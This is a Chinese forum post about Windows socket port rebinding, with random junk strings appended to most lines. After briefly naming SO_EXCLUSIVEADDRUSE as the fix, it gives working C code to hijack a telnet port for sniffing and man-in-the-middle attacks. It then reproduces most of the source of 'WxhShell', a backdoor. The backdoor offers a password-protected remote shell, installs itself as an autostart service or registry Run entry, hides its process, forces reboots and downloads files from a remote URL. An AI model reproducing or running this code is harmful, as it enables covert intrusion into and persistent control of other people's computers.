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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TN}YRXtW+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [6Y6{.%~  
Be+CV">2  
  saddr.sin_family = AF_INET; $E@L{5Yt  
|'WaBy1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "Zd4e2>{M\  
B#'TF?HUEn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TQDb\d8,f  
[H-,zY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1\:puC\)  
R{.5Z/Vp6E  
  这意味着什么?意味着可以进行如下的攻击: Fx2z lM&  
>VnkgY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "h'0&ZP~_  
$F-qqkR$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _IJPZ'Hr  
Q6Z%T.1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q#8}pBw  
w}VS mt$F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R4G$!6Ld  
'NF_!D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z,/BPK<e  
u1a5Vtel  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rMIr&T  
#W,BUN}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [OBj2=  
2bBTd@m4  
  #include y#8| @?  
  #include w(pLU$6X  
  #include DytH } U"  
  #include    hM^#X,7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Um 9Gjd  
  int main() +L1%mVq]y  
  { 4`5jq)  
  WORD wVersionRequested; ;Pik},  
  DWORD ret; mMm_=cfv  
  WSADATA wsaData; 7ET^,6  
  BOOL val; zK893)  
  SOCKADDR_IN saddr; #?.Yc%5B  
  SOCKADDR_IN scaddr; "M5P-l$p}  
  int err; mh;<lW\K/Z  
  SOCKET s; /gT$d2{  
  SOCKET sc; ez_qG=J .  
  int caddsize; s@sRdoTdF  
  HANDLE mt; DK 4 8  
  DWORD tid;   z/u;afB9q  
  wVersionRequested = MAKEWORD( 2, 2 ); |r5 np  
  err = WSAStartup( wVersionRequested, &wsaData ); kx8\]'  
  if ( err != 0 ) { ^l|{*oj2  
  printf("error!WSAStartup failed!\n"); "']I.  
  return -1; w1B!z  
  } ,R/HT@  
  saddr.sin_family = AF_INET; ScU?T<u:i  
   IMLk{y%6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9 lE[oAC  
DJ;il)^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PPO*&=!]  
  saddr.sin_port = htons(23); |D<J9+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R=P=?U.  
  { [2I1W1pd  
  printf("error!socket failed!\n"); s^+h>  
  return -1; XB*)d 9'8  
  } ,K=\Y9l3  
  val = TRUE; NNSHA'F,.\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "!()yjy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jY'svD~  
  {  4b]/2H  
  printf("error!setsockopt failed!\n"); d2sY.L  
  return -1; = TKu2  
  } `s93P^%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  (c;F%m|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N9hs<b+N_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 | Qo`K%8  
Zg1=g_xY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |}s)Wo  
  { l"^'uGB'  
  ret=GetLastError(); u;p.:{'  
  printf("error!bind failed!\n"); P34UD:  
  return -1; -t~l!! N(  
  } 5/Viz`hsz  
  listen(s,2); <$bM*5sHF>  
  while(1) I3`WY-uv  
  { R:c$f(aKv%  
  caddsize = sizeof(scaddr); G"P@AOw  
  //接受连接请求 A+P9M \u.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AjBwj5K  
  if(sc!=INVALID_SOCKET) x"xl3dRu  
  { kt?G\H!}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {I'8+~|pZL  
  if(mt==NULL) ..BIoSrj  
  { MH@=Qqx#=t  
  printf("Thread Creat Failed!\n"); Er/h:=  
  break; 7\x7ySM  
  } 50r3Kl0  
  } (;DnL|"'8  
  CloseHandle(mt); kT6h}d^/^  
  } <q@/ Yy32  
  closesocket(s); QOXG:?v\  
  WSACleanup(); $yxwB/O(  
  return 0; q.sErr[zc  
  }   )!SA]>-  
  DWORD WINAPI ClientThread(LPVOID lpParam) SFhi]48&V  
  { 32h}+fd  
  SOCKET ss = (SOCKET)lpParam; SOE 5`  
  SOCKET sc; b(^/WCykH  
  unsigned char buf[4096]; "#zSk=52z  
  SOCKADDR_IN saddr; U9w0kcUw#J  
  long num; <Y%km[Mh  
  DWORD val; wW2b?b{*Z  
  DWORD ret; }!_x\eq^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s<3cvF<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   : :;YS9e  
  saddr.sin_family = AF_INET; 0"l*8%g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {jz?LM  
  saddr.sin_port = htons(23); !O|d,)$q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ',Y`XP"Q  
  { &CP0T:h  
  printf("error!socket failed!\n"); r?cDyQE  
  return -1; =VA5!-6<Uq  
  } W5 l)mAv  
  val = 100; NsbC0xLd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J)R2O{z  
  { E2.@zY|:  
  ret = GetLastError(); [l~Gwaul>  
  return -1; ng,64(wOY  
  } ~>2DA$Ec  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j&6O 1  
  { Mw{0A\6  
  ret = GetLastError(); T2EQQFs  
  return -1; :A2{  
  } S"-q*!AhK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d}d1]@Y\  
  { F7o#KN*.]  
  printf("error!socket connect failed!\n"); ,[gu7z^|  
  closesocket(sc); XFj\H(D  
  closesocket(ss); vI84= n  
  return -1; sY|by\-c  
  } 8]G  
  while(1) [u?*' c{  
  { tr[(,kX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =`&7pYd,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :A,g:B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LgG7|\(-  
  num = recv(ss,buf,4096,0); FCr^D$_w  
  if(num>0) -_%8Q#"  
  send(sc,buf,num,0);  5yA1<&z  
  else if(num==0) 3EY>XS  
  break; 2YW| /o4  
  num = recv(sc,buf,4096,0); s)dL^lj;  
  if(num>0)  !' }  
  send(ss,buf,num,0); Fa"/p_1  
  else if(num==0)  _%r+?I  
  break; 62-,!N 1-  
  } *|Bu7nwg  
  closesocket(ss); !sTOo  
  closesocket(sc); W't?aj I|  
  return 0 ; K^z u{`S  
  } i>*|k]  
wSV}{9}wr%  
/JcfAY  
========================================================== ~8oti4  
E*B6k!:  
下边附上一个代码,,WXhSHELL y3Z\ Y[  
-(oFO'Lbg  
========================================================== 6np  
rT#2'-f  
#include "stdafx.h" )2pOCAjL2  
 c6f=r  
#include <stdio.h> *A^`[_y  
#include <string.h> T'W@fif  
#include <windows.h> 5YV3pFz$)  
#include <winsock2.h> vk1E!T9X  
#include <winsvc.h> sxK|0i}6  
#include <urlmon.h> $`a>y jma  
eb#yCDIC   
#pragma comment (lib, "Ws2_32.lib") L2 ybL#dz  
#pragma comment (lib, "urlmon.lib") nO\c4#ce  
B2kKEMdGg  
#define MAX_USER   100 // 最大客户端连接数 $>M-oNeC  
#define BUF_SOCK   200 // sock buffer w7#9t  
#define KEY_BUFF   255 // 输入 buffer ,P>xpfdK  
On`T pz/  
#define REBOOT     0   // 重启 1(YEOZ  
#define SHUTDOWN   1   // 关机 |_h$}~ ;  
qN=l$_UD  
#define DEF_PORT   5000 // 监听端口 )01,3J>#  
^ UDNp.6k  
#define REG_LEN     16   // 注册表键长度 u4KP;_,m  
#define SVC_LEN     80   // NT服务名长度 ~K 2.T7=  
m)1+D"z  
// 从dll定义API f{HjM? Mb3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >N bb0T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o5(~nQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i"_@iN0N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dSP~R  
K*/X{3J;  
// wxhshell配置信息 ~+)sL1lx  
struct WSCFG { `w(~[`F t  
  int ws_port;         // 监听端口 H6oU Ne  
  char ws_passstr[REG_LEN]; // 口令 0K<|>I  
  int ws_autoins;       // 安装标记, 1=yes 0=no Cu $mb}@  
  char ws_regname[REG_LEN]; // 注册表键名 f(*ygI  
  char ws_svcname[REG_LEN]; // 服务名 !H^e$BA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T?4I\SG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F,.dC&B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AZ7m=Q97  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |19zjhl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C f(g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c$fYK  
lP;X=X>  
}; =>m x>R`S  
/\wm/Yx?S  
// default Wxhshell configuration #,5v#| u|7  
struct WSCFG wscfg={DEF_PORT, {/2 _"H3:  
    "xuhuanlingzhe", |=rb#z&  
    1, s[n*fV']A  
    "Wxhshell", 1w$X;q"  
    "Wxhshell", sQ aP:@  
            "WxhShell Service", X4$86  
    "Wrsky Windows CmdShell Service", 1 k\~%  
    "Please Input Your Password: ", isR)^fI|  
  1, v?L`aj1ox  
  "http://www.wrsky.com/wxhshell.exe", %2ZWSQD  
  "Wxhshell.exe" cYx.<b JH  
    }; @s % !R  
&a9Y4~e::  
// 消息定义模块 3*C|"|lJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t,IQ|B&0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tya[6b!8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XIRvIwO  
char *msg_ws_ext="\n\rExit."; mzbMX <  
char *msg_ws_end="\n\rQuit."; K9=f`JI9  
char *msg_ws_boot="\n\rReboot..."; JU`5K}H<  
char *msg_ws_poff="\n\rShutdown..."; zqlgJn  
char *msg_ws_down="\n\rSave to "; 8`Iz%rw&(J  
&<Iz?AVr  
char *msg_ws_err="\n\rErr!"; $gPR3*0  
char *msg_ws_ok="\n\rOK!"; ',l}$]y5  
iebnQf  
char ExeFile[MAX_PATH]; Y7GHIzX  
int nUser = 0; @\?QZX(H  
HANDLE handles[MAX_USER]; "~,3gNTzV  
int OsIsNt; qZB}}pM#  
grZ?F~P8  
SERVICE_STATUS       serviceStatus; Ch0t'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !)//b]  
g&?RQ  
// 函数声明 XdV(=PS!a@  
int Install(void); x*a^msY%  
int Uninstall(void); ,xOOR   
int DownloadFile(char *sURL, SOCKET wsh); HlgkW&}c^  
int Boot(int flag); caD|*.b  
void HideProc(void); ~ \3j{pr  
int GetOsVer(void); nJr:U2d  
int Wxhshell(SOCKET wsl); &<$YR~g5j$  
void TalkWithClient(void *cs); /s[D[:P_  
int CmdShell(SOCKET sock); %<rV~9:  
int StartFromService(void); D:.1Be`Tv  
int StartWxhshell(LPSTR lpCmdLine); zi?G wh~  
uD8,E!\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rdj/n :  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oaGpqjBGQ  
c W^  
// 数据结构和表定义 _@A%t&l  
SERVICE_TABLE_ENTRY DispatchTable[] = H+?@LPV*N  
{ \agT#tT J  
{wscfg.ws_svcname, NTServiceMain}, h/xV;oj  
{NULL, NULL} M|9=B<6`7  
}; H^J waF  
-;RW)n^n  
// 自我安装 %"=qdBuk  
int Install(void) )Q)H!yin  
{ b Sm*/Q  
  char svExeFile[MAX_PATH]; yN:U"]glC  
  HKEY key; 4&}dA^F  
  strcpy(svExeFile,ExeFile); ]MaD7q>+R  
/=+Bc=<lZ  
// 如果是win9x系统,修改注册表设为自启动 ~0T,_N  
if(!OsIsNt) { 5hg ^K^ZZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?:c:D5N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BW5!@D2  
  RegCloseKey(key); ~Blsj9a2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9`|~- b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x2$Y"b?vz  
  RegCloseKey(key); MgrJ ;?L  
  return 0; 4) z*Vux  
    } %WO4uOi:@  
  } #4wia%}u  
} ]]!&>tOlI  
else { 1Farix1YDq  
5o2vj8::  
// 如果是NT以上系统,安装为系统服务 hw)#TEt   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i$"M'BG  
if (schSCManager!=0) 35 3*D%8  
{ OqlP_^Zz7p  
  SC_HANDLE schService = CreateService BQF7S<O+  
  ( TBu[3X%  
  schSCManager, z8*{i]j  
  wscfg.ws_svcname, 4u+4LB*  
  wscfg.ws_svcdisp, uK5 C-  
  SERVICE_ALL_ACCESS, 9 6j*F,{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !UF (R^  
  SERVICE_AUTO_START, tJ9-8ZT*  
  SERVICE_ERROR_NORMAL, g>;u} +lO  
  svExeFile, w)Wg 8  
  NULL, i_ z4;%#?  
  NULL, OiJz?G:m  
  NULL, Z O\x|E!b  
  NULL, *sYvV,  
  NULL vi~NfD@s  
  ); Cy2)M(RW  
  if (schService!=0) BaXf=RsZ  
  { ]>H'CM4JR  
  CloseServiceHandle(schService); w[hT,$n  
  CloseServiceHandle(schSCManager); OTV$8{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !6pE0(V^+4  
  strcat(svExeFile,wscfg.ws_svcname); 1qN+AT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W_Eur,/`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w+G+&ak<  
  RegCloseKey(key); Fh U*mAX)  
  return 0; WLA LXJ7  
    } atYe$Db  
  } zOsk'ZE&  
  CloseServiceHandle(schSCManager); y*7<tj.`b0  
} qJ%AbdOI8  
} ^7,`6g  
[z> Ya-uz7  
return 1; jQ&82X%m  
} {L.=)zt>  
!r %u@[(  
// 自我卸载 ~%Xs"R1c ,  
int Uninstall(void) L2`a| T=  
{ :~4 M9  
  HKEY key; T.GB *  
,!Q^"aOT:  
if(!OsIsNt) { j@C*kj;-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]mdO3P  
  RegDeleteValue(key,wscfg.ws_regname); ^J?y mo$>0  
  RegCloseKey(key); [a!*m<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xG~7kj3  
  RegDeleteValue(key,wscfg.ws_regname); &p_V<\(%  
  RegCloseKey(key); *z6m644H  
  return 0; 1vUW$)?X  
  } 0.lOSAq  
} #{x4s?   
} fYUbr"Oe  
else { I`4k5KB;  
-H9WwFk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -EIfuh  
if (schSCManager!=0) ZxU3)`O  
{ XI7:y4M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~%d*#Yxq  
  if (schService!=0) d[$YTw  
  { (M nK \^Y  
  if(DeleteService(schService)!=0) { qfa[KD)!aB  
  CloseServiceHandle(schService); @zi_@B  
  CloseServiceHandle(schSCManager); HsRQiai*  
  return 0; *wu|(t_ A  
  } C[s='v~}  
  CloseServiceHandle(schService); U8GvUysB!  
  } 6):iu=/i/  
  CloseServiceHandle(schSCManager); q~G@S2=}0}  
} 1rGi"kdf  
} %IH ra6  
1,Ji|&Pwf  
return 1; .j^=]3  
} cC7&]2X +f  
w i=&W  
// 从指定url下载文件 I W5N^J  
int DownloadFile(char *sURL, SOCKET wsh) d6+{^v$#  
{ *28:|blbL  
  HRESULT hr; YT\.${N  
char seps[]= "/"; r"W,G /;h  
char *token; :,1 kSM%r  
char *file; ^zVW 3 Y q  
char myURL[MAX_PATH]; #xfPobQ>il  
char myFILE[MAX_PATH]; &l _NCo2  
4)+L(KyB2  
strcpy(myURL,sURL); .y^T 3?}I  
  token=strtok(myURL,seps); +MvO+\/  
  while(token!=NULL) Rn5{s3?F~2  
  { H-5h-p k  
    file=token; xF])NZy|  
  token=strtok(NULL,seps); }e0>Uk`[  
  } `z~L0h  
8;Eg>_cL:  
GetCurrentDirectory(MAX_PATH,myFILE); `PI?RU[g*  
strcat(myFILE, "\\"); f}uW(:f  
strcat(myFILE, file); Lu9`(+  
  send(wsh,myFILE,strlen(myFILE),0); zIy&gOX  
send(wsh,"...",3,0); #Pe|}!)u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I.hy"y2&  
  if(hr==S_OK) }CB9H$FkCY  
return 0; |P(8T'  
else k btQ  
return 1; )F65sV{  
B'!I{LC  
} gib'f@i;  
\3 M%vJ  
// 系统电源模块 /{ FSG!  
int Boot(int flag) ;QqC c!b  
{ m`6=6(_p  
  HANDLE hToken; 3"p'WZ>  
  TOKEN_PRIVILEGES tkp; ]=?.LMjnH  
:3.!?mOe2  
  if(OsIsNt) { `i{p6-U3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]/c!;z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 734<X6^1  
    tkp.PrivilegeCount = 1; c);vl%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,B,:$G<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vG#,J&aW  
if(flag==REBOOT) { v#b(0G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JE ''Th}  
  return 0; E4qQ  
} Twq,6X-  
else { `!lQd}W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  RR[1mM  
  return 0; +~za6  
} O 2W2&vY  
  } rYPj3!#  
  else { 7p[NuU*Gg  
if(flag==REBOOT) { (%SKTM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )2: ,E  
  return 0; 4v;KtD;M  
} ).8NZ Aj  
else { /5"RedP<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NXSjN~aG2  
  return 0; (=t41-l  
} |0xP'(  
} 'l6SL- <  
z\c$$+t  
return 1; fO,m_ OR:)  
} gaU1A"S}  
l?:S)[:  
// win9x进程隐藏模块 s>ohXISB[  
void HideProc(void) 8<PQ31  
{ 2g$;ZBHO|8  
 LXf *  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~w"e 2a  
  if ( hKernel != NULL ) mG.H=iw  
  { 2*TPW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `{  ` W-C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fr)6<9%xVm  
    FreeLibrary(hKernel); Wh^wKF~%  
  } X{tfF!+iy  
kWbD?i-  
return; )W |_f  
} _FP'SVa}D  
Eu`K2_b  
// 获取操作系统版本 lc\%7-%:5  
int GetOsVer(void) ,QPo%{:p  
{ ChRCsu~  
  OSVERSIONINFO winfo; O ~D]C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); grTwo  
  GetVersionEx(&winfo); y@9ifFr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g4}K6)@  
  return 1; Nc:0opPM  
  else n |Q' >  
  return 0; l,:> B-FV  
} 5~{s-Ms  
*_/n$& I%&  
// 客户端句柄模块 F~wqt7*  
int Wxhshell(SOCKET wsl) O]80";Uv  
{ $aDkZj  
  SOCKET wsh; yt#~n _  
  struct sockaddr_in client; tG*HUN?*  
  DWORD myID; gzEcdDD  
~=gpn|@b  
  while(nUser<MAX_USER) "Zu>cbE  
{ Hgbrlh  
  int nSize=sizeof(client); 9@wmngvM*Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q*7:L  
  if(wsh==INVALID_SOCKET) return 1; z, c=."<z  
yQE9S+%M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y Sux#*#H  
if(handles[nUser]==0) e,Sxu[2  
  closesocket(wsh); l^R1XBP  
else 8XD_p);Oy  
  nUser++; |6 E !wW  
  } ~RRS{\,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cS RmC  
lt& c/xi_  
  return 0; `2,F!kCt  
} C^7M>i  
csj 4?]gI  
// 关闭 socket >;+q,U}  
void CloseIt(SOCKET wsh) ] D+'Ao^'  
{ A 1B_EX.  
closesocket(wsh); s_cur-  
nUser--; KEo?Cy?%ff  
ExitThread(0); /-&2>4I  
} ="P&!lu  
S=qx,<J 39  
// 客户端请求句柄 {!xDJnF;  
void TalkWithClient(void *cs) `gz/?q  
{ <`d;>r=4z  
?JMy  
  SOCKET wsh=(SOCKET)cs; f[-$##S.~  
  char pwd[SVC_LEN]; 2q ~y\fe  
  char cmd[KEY_BUFF]; Zqj EVVB  
char chr[1]; /7igPNhx  
int i,j; .svlJSx  
[U_  
  while (nUser < MAX_USER) { >r.W \  
2<tU  
if(wscfg.ws_passstr) { cBQ+`DXn5c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \-CL}Z}S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H0-v^H>^  
  //ZeroMemory(pwd,KEY_BUFF); $fG~;`T  
      i=0; 4nKlW_{,  
  while(i<SVC_LEN) { I 8VCR8q  
(w-@b70E  
  // 设置超时 [ps 5  
  fd_set FdRead; PG@6*E  
  struct timeval TimeOut; o ^""=Z  
  FD_ZERO(&FdRead); 30{WGc@l#  
  FD_SET(wsh,&FdRead); ]K|td)1X  
  TimeOut.tv_sec=8; -`,F e3  
  TimeOut.tv_usec=0; OPC8fX5.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xM**n3SZ`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bb.U4#  
liPaT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AtNF&=Op  
  pwd=chr[0]; <ToRPx&E  
  if(chr[0]==0xd || chr[0]==0xa) { `&i\q=u+  
  pwd=0; b{}ao  
  break; 9}z%+t8u  
  } B:#9   
  i++; G#j~8`3X  
    } >*WT[UU  
lH/7m;M  
  // 如果是非法用户,关闭 socket g9gi7.'0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); remRm Y?  
} T+41,  
2k!4oVUN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sh\Jm*5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >J/8lS{#  
]|_+lik#  
while(1) { uMX\Y;N  
7' Gk ip  
  ZeroMemory(cmd,KEY_BUFF); Y{9xF8#  
}70A>JBw  
      // 自动支持客户端 telnet标准   iC~ll!FA!  
  j=0; }ZJJqJ`*e  
  while(j<KEY_BUFF) { .p(%gmOp#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~8U0(n:^  
  cmd[j]=chr[0]; pyp0SGCM:  
  if(chr[0]==0xa || chr[0]==0xd) { q_Z6s5O  
  cmd[j]=0; #,9#x]U#v  
  break; qm< mw"]  
  } KO[,C[;|j  
  j++; \ `R8s_S  
    } HNd? '  
;e$YM;;d  
  // 下载文件 Yb4%W-5  
  if(strstr(cmd,"http://")) { xB5QM #w\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u,./,:O%=  
  if(DownloadFile(cmd,wsh)) #@J{ )  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'3'[Nr(;t  
  else N 5.kDT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BH0s ` K"  
  } : ZadPn56  
  else { C4)m4r%  
;*cCaB0u  
    switch(cmd[0]) { FT\%=>{  
  "6gBbm  
  // 帮助 p\DSFB  
  case '?': { D+y?KihE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J@+b_e*  
    break; +mC?.B2D  
  } vF)eo"_s*  
  // 安装 avW33owb@  
  case 'i': { CI=M0  
    if(Install()) ^.c<b_(=h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *gOUpbtXa  
    else NRazI_Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Ta(Y=!uq  
    break; Wpc8T="q  
    } %:Z_~7ZR  
  // 卸载 yw >Frb5p  
  case 'r': { i5SDy(?r  
    if(Uninstall()) _pxurq{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l OiZ2_2  
    else eV j7%9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A45!hhf  
    break; k|^`0~E  
    } /rHlFl|Wy  
  // 显示 wxhshell 所在路径 0<+eN8od.  
  case 'p': { G\K!7k`)!  
    char svExeFile[MAX_PATH]; EAlLxXDDh  
    strcpy(svExeFile,"\n\r"); XrI$@e*  
      strcat(svExeFile,ExeFile); ~~q>]4>  
        send(wsh,svExeFile,strlen(svExeFile),0); 38GZ_ z}r  
    break; s7,D}Zz  
    } 1rON8=E  
  // 重启 0cq<!{d  
  case 'b': { &r2\P6J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 73JrK_h  
    if(Boot(REBOOT)) b4 Pa5 w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49YN@ PXC  
    else { ?_eHvw  
    closesocket(wsh); A_crK`3  
    ExitThread(0); E] rBq_S  
    } gt\kTn."  
    break; Hyi'z1  
    } odn3*{c{x  
  // 关机 'V\V=yc1  
  case 'd': { R{pF IyR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D"exI]  
    if(Boot(SHUTDOWN)) 1u"#rC>7.4  
